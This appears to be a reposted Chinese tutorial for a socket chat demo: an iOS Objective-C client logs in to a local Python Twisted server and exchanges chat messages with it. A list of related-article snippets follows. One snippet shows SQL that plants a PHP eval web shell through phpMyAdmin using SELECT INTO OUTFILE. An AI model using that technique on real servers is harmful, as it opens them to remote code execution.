一個簡單的socket通信小demo

寫了一個socket的程序,可以和本地的服務器進行通信,要先和服務器建立鏈接,然后發送登錄信息,驗證成功,就可以和服務器通信了

1 頁面截圖

2 點擊鏈接服務器,可以鏈接服務器,服務器的ip地址為:127.0.0.1 端口為 12345;

3 點擊鏈接服務器之后,打印信息如下

4 點擊登錄,會向服務器發送登錄信息: iam:zhangsan, 然后會客戶端會顯示登錄成功

5 比如輸入chongqingyoudian?

6 在服務器控制臺就能看到客戶端發送的信息

客戶端代碼如下

  1 //
  2 //  ViewController.m
  3 //  05.聊天室
  4 //
  5 //  Created by apple on 14/12/5.
  6 //  Copyright (c) 2014年 heima. All rights reserved.
  7 //
  8 
  9 #import "ViewController.h"
 10 
 11 @interface ViewController ()<NSStreamDelegate,UITextFieldDelegate,UITableViewDataSource,UITableViewDelegate>{
 12     NSInputStream *_inputStream;//對應輸入流
 13     NSOutputStream *_outputStream;//對應輸出流
 14 }
 15 @property (weak, nonatomic) IBOutlet NSLayoutConstraint *inputViewConstraint;
 16 @property (weak, nonatomic) IBOutlet UITableView *tableView;
 17 
 18 @property (nonatomic, strong) NSMutableArray *chatMsgs;//聊天消息數組
 19 
 20 @end
 21 
 22 @implementation ViewController
 23 
 24 -(NSMutableArray *)chatMsgs{
 25     if (!_chatMsgs) {
 26         _chatMsgs = [NSMutableArray array];
 27     }
 28     
 29     return _chatMsgs;
 30 }
 31 
 32 - (void)viewDidLoad {
 33     [super viewDidLoad];
 34     // Do any additional setup after loading the view, typically from a nib.
 35   
 36     
 37     // 2.收發數據
 38     // 做一個聊天
 39     // 1.用戶登錄
 40     // 2.收發數據
 41     
 42     // 監聽鍵盤
 43     [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(kbFrmWillChange:) name:UIKeyboardWillChangeFrameNotification object:nil];
 44 }
 45 
 46 
 47 -(void)kbFrmWillChange:(NSNotification *)noti{
 48     NSLog(@"%@",noti.userInfo);
 49     
 50     // 獲取窗口的高度
 51     
 52     CGFloat windowH = [UIScreen mainScreen].bounds.size.height;
 53     
 54    
 55     
 56     // 鍵盤結束的Frm
 57     CGRect kbEndFrm = [noti.userInfo[UIKeyboardFrameEndUserInfoKey] CGRectValue];
 58      // 獲取鍵盤結束的y值
 59     CGFloat kbEndY = kbEndFrm.origin.y;
 60     
 61     
 62     self.inputViewConstraint.constant = windowH - kbEndY;
 63 }
 64 
 65 -(void)stream:(NSStream *)aStream handleEvent:(NSStreamEvent)eventCode{
 66     NSLog(@"%@",[NSThread currentThread]);
 67 
 68 //    NSStreamEventOpenCompleted = 1UL << 0,//輸入輸出流打開完成
 69 //    NSStreamEventHasBytesAvailable = 1UL << 1,//有字節可讀
 70 //    NSStreamEventHasSpaceAvailable = 1UL << 2,//可以發放字節
 71 //    NSStreamEventErrorOccurred = 1UL << 3,// 連接出現錯誤
 72 //    NSStreamEventEndEncountered = 1UL << 4// 連接結束
 73     switch (eventCode) {
 74         case NSStreamEventOpenCompleted:
 75             NSLog(@"登錄服務器成功,輸入輸出流打開完成");
 76             break;
 77         case NSStreamEventHasBytesAvailable:
 78             NSLog(@"有字節可讀");
 79             [self readData];
 80             break;
 81         case NSStreamEventHasSpaceAvailable:
 82             NSLog(@"可以發送字節");
 83             break;
 84         case NSStreamEventErrorOccurred:
 85                         NSLog(@" 連接出現錯誤");
 86             break;
 87         case NSStreamEventEndEncountered:
 88              NSLog(@"連接結束");
 89             
 90             // 關閉輸入輸出流
 91             [_inputStream close];
 92             [_outputStream close];
 93             
 94             // 從主運行循環移除
 95             [_inputStream removeFromRunLoop:[NSRunLoop mainRunLoop] forMode:NSDefaultRunLoopMode];
 96             [_outputStream removeFromRunLoop:[NSRunLoop mainRunLoop] forMode:NSDefaultRunLoopMode];
 97             break;
 98         default:
 99             break;
100     }
101     
102 }
103 #pragma mark 在這里先和服務器建立鏈接
104 - (IBAction)connectToHost:(id)sender {
105     // 1.建立連接
106     NSString *host = @"127.0.0.1";
107     int port = 12345;
108     
109     // 定義C語言輸入輸出流
110     CFReadStreamRef readStream;
111     CFWriteStreamRef writeStream;
112     CFStreamCreatePairWithSocketToHost(NULL, (__bridge CFStringRef)host, port, &readStream, &writeStream);
113     
114     // 把C語言的輸入輸出流轉化成OC對象
115     _inputStream = (__bridge NSInputStream *)(readStream);
116     _outputStream = (__bridge NSOutputStream *)(writeStream);
117     
118     
119     // 設置代理
120     _inputStream.delegate = self;
121     _outputStream.delegate = self;
122     
123     
124     // 把輸入輸入流添加到主運行循環
125     // 不添加主運行循環 代理有可能不工作
126     [_inputStream scheduleInRunLoop:[NSRunLoop mainRunLoop] forMode:NSDefaultRunLoopMode];
127     [_outputStream scheduleInRunLoop:[NSRunLoop mainRunLoop] forMode:NSDefaultRunLoopMode];
128     
129     // 打開輸入輸出流
130     [_inputStream open];
131     [_outputStream open];
132 }
133 
134 #pragma mark 在這里發送登錄的信息
135 - (IBAction)loginBtnClick:(id)sender {
136     
137     // 登錄
138     // 發送用戶名和密碼
139     // 在這里做的時候,只發用戶名,密碼就不用發送
140     
141     // 如果要登錄,發送的數據格式為 "iam:zhangsan";
142     // 如果要發送聊天消息,數據格式為 "msg:did you have dinner";
143     
144     //登錄的指令
145     NSString *loginStr = @"iam:zhangsan";
146     
147     //把Str轉成NSData
148     NSData *data = [loginStr dataUsingEncoding:NSUTF8StringEncoding];
149 
150     
151     [_outputStream write:data.bytes maxLength:data.length];
152 }
153 
154 #pragma mark 讀了服務器返回的數據
155 -(void)readData{
156     
157     //建立一個緩沖區 可以放1024個字節
158     uint8_t buf[1024];
159     
160     // 返回實際裝的字節數
161     NSInteger len = [_inputStream read:buf maxLength:sizeof(buf)];
162 
163     // 把字節數組轉化成字符串
164     NSData *data = [NSData dataWithBytes:buf length:len];
165     
166     // 從服務器接收到的數據
167     NSString *recStr =  [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
168     
169     NSLog(@"%@",recStr);
170     
171     [self reloadDataWithText:recStr];
172     
173 }
174 
175 -(BOOL)textFieldShouldReturn:(UITextField *)textField{
176     
177     NSString *text = textField.text;
178     
179     NSLog(@"%@",text);
180     // 聊天信息
181     NSString *msgStr = [NSString stringWithFormat:@"msg:%@",text];
182     
183     //把Str轉成NSData
184     NSData *data = [msgStr dataUsingEncoding:NSUTF8StringEncoding];
185     
186     // 刷新表格
187     [self reloadDataWithText:msgStr];
188     
189     // 發送數據
190     [_outputStream write:data.bytes maxLength:data.length];
191     
192     // 發送完數據,清空textField
193     textField.text = nil;
194     
195     return YES;
196 }
197 
198 -(void)reloadDataWithText:(NSString *)text{
199     [self.chatMsgs addObject:text];
200     
201     [self.tableView reloadData];
202     
203     // 數據多,應該往上滾動
204     NSIndexPath *lastPath = [NSIndexPath indexPathForRow:self.chatMsgs.count - 1 inSection:0];
205     [self.tableView scrollToRowAtIndexPath:lastPath atScrollPosition:UITableViewScrollPositionBottom animated:YES];
206 }
207 
208 #pragma mark 表格的數據源
209 
210 -(NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section{
211     return self.chatMsgs.count;
212 }
213 
214 
215 - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
216 {
217     static NSString *ID = @"Cell";
218     UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:ID];
219    
220     cell.textLabel.text = self.chatMsgs[indexPath.row];
221     
222     return cell;
223 }
224 
225 -(void)scrollViewWillBeginDragging:(UIScrollView *)scrollView{
226     [self.view endEditing:YES];
227 }
228 @end

服務器端代碼

 1 from twisted.internet.protocol import Protocol, Factory
 2 from twisted.internet import reactor
 3 
 4 
 5 class IphoneChat(Protocol):
 6     def connectionMade(self):
 7         #self.transport.write("""connected""")
 8         self.factory.clients.append(self)
 9         print "clients are ", self.factory.clients
10     
11     def connectionLost(self, reason):
12         self.factory.clients.remove(self)
13     
14     def dataReceived(self, data):
15         #print "data is ", data
16         a = data.split(':')
17         if len(a) > 1:
18             command = a[0]
19             content = a[1]
20             
21             msg = ""
22             if command == "iam":
23                 self.name = content
24                 msg = self.name + " has joined"
25                 
26             elif command == "msg":
27                 msg = self.name + ": " + content
28             
29             print msg
30                         
31             for c in self.factory.clients:
32                 c.message(msg)
33                 
34     def message(self, message):
35         self.transport.write(message + '\n')
36 
37 
38 factory = Factory()
39 factory.protocol = IphoneChat
40 factory.clients = []
41 
42 reactor.listenTCP(12345, factory)
43 print "Iphone Chat server started"
44 reactor.run()

?

轉載于:https://www.cnblogs.com/sunkaifeng/p/5070862.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/373919.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/373919.shtml
英文地址,請注明出處:http://en.pswp.cn/news/373919.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java并發教程– CountDownLatch

Java中的某些并發實用程序自然會比其他并發實用程序受到更多關注&#xff0c;因為它們可以解決通用問題而不是更具體的問題。 我們大多數人經常遇到執行程序服務和并發集合之類的事情。 其他實用程序不太常見&#xff0c;因此有時它們可??能會使我們逃脫&#xff0c;但是請記…

漢儀尚巍手書可以商用嗎_【商用車維修】夏天修空調可以撐起全年修車收入的一半,你會了嗎?...

更多精彩&#xff0c;請點擊上方藍字關注我們&#xff01;車載空調是炎熱的季節必不可少的利器&#xff0c;但用得多&#xff0c;毛病也多了起來&#xff0c;今天和大家分享一些空調系統的相關知識&#xff0c;助力修車師傅們來應對空調系統的相關故障問題。如何判斷制冷系統的…

CSDN編程挑戰——《-3+1》

-31 題目詳情: 有一個數列&#xff0c;所有的數都是非負整數&#xff0c;你可以進行如下方式進行一次操作&#xff08;注意一次完整的操作必須先后完成如下兩個步驟&#xff09;&#xff1a; &#xff08;1&#xff09; 任選一個不小于3的數&#xff0c;把它減少3。 &#xff…

游戲感悟

1.所謂游戲平衡&#xff0c;就是指玩家沒有最優解。 2.所謂公司的文化&#xff0c;就是指員工被公司洗腦的那些觀點(認知)。 3.人是能動的&#xff0c;擺脫平庸。轉載于:https://www.cnblogs.com/yangzhou33/p/5074509.html

Git 簡單使用

1.Git是什么 簡介&#xff1a;Git是 Linux 之父 Linus Trovalds&#xff0c;為管理 Linux 內核代碼而建立的&#xff0c;被認為是分布式版本控制工具中的頂級水準。智能、友好、強健、高效。 作用&#xff1a;新建一個分支&#xff0c;把服務器上最新版的代碼fetch下來&#x…

Vaadin附加組件和Maven

介紹 我喜歡Vaadin的 &#xff08;眾多&#xff09;一件事是它對Vaadin框架的“附加組件”社區-他們稱之為Vaadin目錄 。 “附加組件”是框架中社區貢獻的附加組件&#xff0c;可以是任何東西&#xff0c;例如從新的客戶端小部件到數據表的延遲加載容器。 我肯定會為Activiti看…

八皇后時間復雜度_【算法打卡】N皇后

難度&#xff1a;困難題目&#xff1a;n 皇后問題研究的是如何將 n 個皇后放置在 nn 的棋盤上&#xff0c;并且使皇后彼此之間不能相互攻擊。上圖為 8 皇后問題的一種解法。給定一個整數 n&#xff0c;返回 n 皇后不同的解決方案的數量。提示&#xff1a;皇后&#xff0c;是國際…

Android-Binder 簡析

前言 對于Android來說&#xff0c;Binder的重要性怎么說都不為過。不管是我們的四大組件Activity、Service、BroadcastReceiver、ContentProvider&#xff0c;還是經常在應用中使用到的各種ServiceManager&#xff0c;其背后都是Binder在支撐。然而Binder機制又不是三言兩語能夠…

CSDN編程挑戰——《進制轉換》

進制轉換 題目詳情: 我們通常用的十進制數包含0-9十個數字。假設有一種進制系統包含3種數字&#xff0c;從低到高分別為"oF8”&#xff0c;那么從1到9分別表示為F, 8, Fo, FF, F8, 8o, 8F, 88, Foo, FoF。給定一種進制的數和兩種進制的數字表&#xff0c;請把它從第一種進…

tplink 703刷固件

1.軟件下載: ImageBuilder鏈接 如果是全新刷機的話,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin 如果是系統升級的話,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/op…

編程反模式

您是否曾經進行過代碼審查&#xff0c;記錄了非常高的WTF / m&#xff1f; 您是否想知道所有這些錯誤代碼的原因是什么&#xff1f; 在大多數情況下&#xff0c;導致原因1的主要原因是使用設計和編碼反模式。 如果您喜歡定義&#xff0c;請參見以下內容&#xff1a;AntiPatter…

python概率密度函數參數估計_EM算法求高斯混合模型參數估計——Python實現

#coding:gbkimport mathimport copyimport numpy as npimport matplotlib.pyplot as pltisdebug False# 指定k個高斯分布參數&#xff0c;這里指定k2。注意2個高斯分布具有相同均方差Sigma&#xff0c;分別為Mu1,Mu2。def ini_data(Sigma,Mu1,Mu2,k,N):global Xglobal Mugloba…

phpmyadmin 各種技巧拿 webshell

site.com/phpMyAdminsite.com/sqlD:\wamp\www賬號還有密碼root 密碼第一種CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (<?php eval($_POST[pass]);?>);SELECT darkmoon1 FROM darkmoon INTO OUTFILE d:/…

Finally語句塊的執行

一、finally語句塊是否一定執行&#xff1f; Java中異常捕獲機制try...catch...finally塊中的finally語句是不是一定會被執行&#xff1f;很多人都說不是&#xff0c;當然他們的回答是正確的&#xff0c;經過試驗&#xff0c;至少以下有兩種情況下finally語句是不會被執行的&am…

面向對象 封裝 集成 特性

訪問修飾符&#xff1a;pubulc:公共的&#xff0c;只要引用了命名空間&#xff0c;就可以隨意進行訪問 private:私有的&#xff0c;只有當前類內部才可以訪問 internal&#xff1a;內部的&#xff0c;當前程序集內可以訪問&#xff0c;程序集就是命名空間&#xff0c;此修飾符是…

sql 插入text字段包含特殊字符_Kettle(PDI)轉換中輸出之插入/更新詳解

概述Insert / update(插入 / 更新)此步驟首先使用一個或多個查詢關鍵字查找表中的一行。如果找不到該行&#xff0c;則插入該行。如果可以找到它&#xff0c;并且要更新的字段相同&#xff0c;則不執行任何操作。如果它們不完全相同&#xff0c;則更新表中的行。注意&#xff1…

使用Java發送電子郵件

我開始使用Java作為簡單的“如何發送電子郵件”來撰寫這篇文章&#xff0c;但是后來我發現我需要簡要解釋更多事情。 因此&#xff0c;這是有關使用Java發送電子郵件的所有摘要。 在Java SE平臺之外&#xff08;但包含在JavaEE中&#xff09;&#xff0c; JavaMail軟件包提供了…

一張圖讓你看清Java集合類(Java集合類的總結)

如今關于Java集合類的文章非常多&#xff0c;可是我近期看到一個非常有意思圖片&#xff0c;基本上把Java集合的整體框架都給展現出來了。非常直觀。 假設發現圖片看不清楚。點此處看大圖 在這里&#xff0c;集合類分為了Map和Collection兩個大的類別。 處于圖片左上角的那一塊…

CSDN挑戰編程——《數學問題》

數學問題 題目詳情: 給你兩個長度為n的正整數序列分別為{a1,a2,a3...an},{b1,b2,b3...bn},0<ai,bi<100&#xff1b; 設Smax{x1*a1x2*a2x3*a3...xn*an,(1-x1)*b1(1-x2)*b2(1-x3)*b3...(1-xn)*bn}&#xff0c;xi為整數&#xff0c;0<xi<1。 請你求出S的最小值。 輸入…

【P1835】小紅花

很簡單的題&#xff0c;然而我沒想到&#xff0c;在NOIP上怎么辦嘛QAQ 話說這題不知道怎么分類啊……先扔到玄學里邊把…… 原題&#xff1a; Fj在圣誕節來臨之際&#xff0c;決定給他的奶牛發一些小紅花。現在Fj一共有N頭奶牛&#xff0c;這N頭牛按照編號1..N&#xff0c;排成…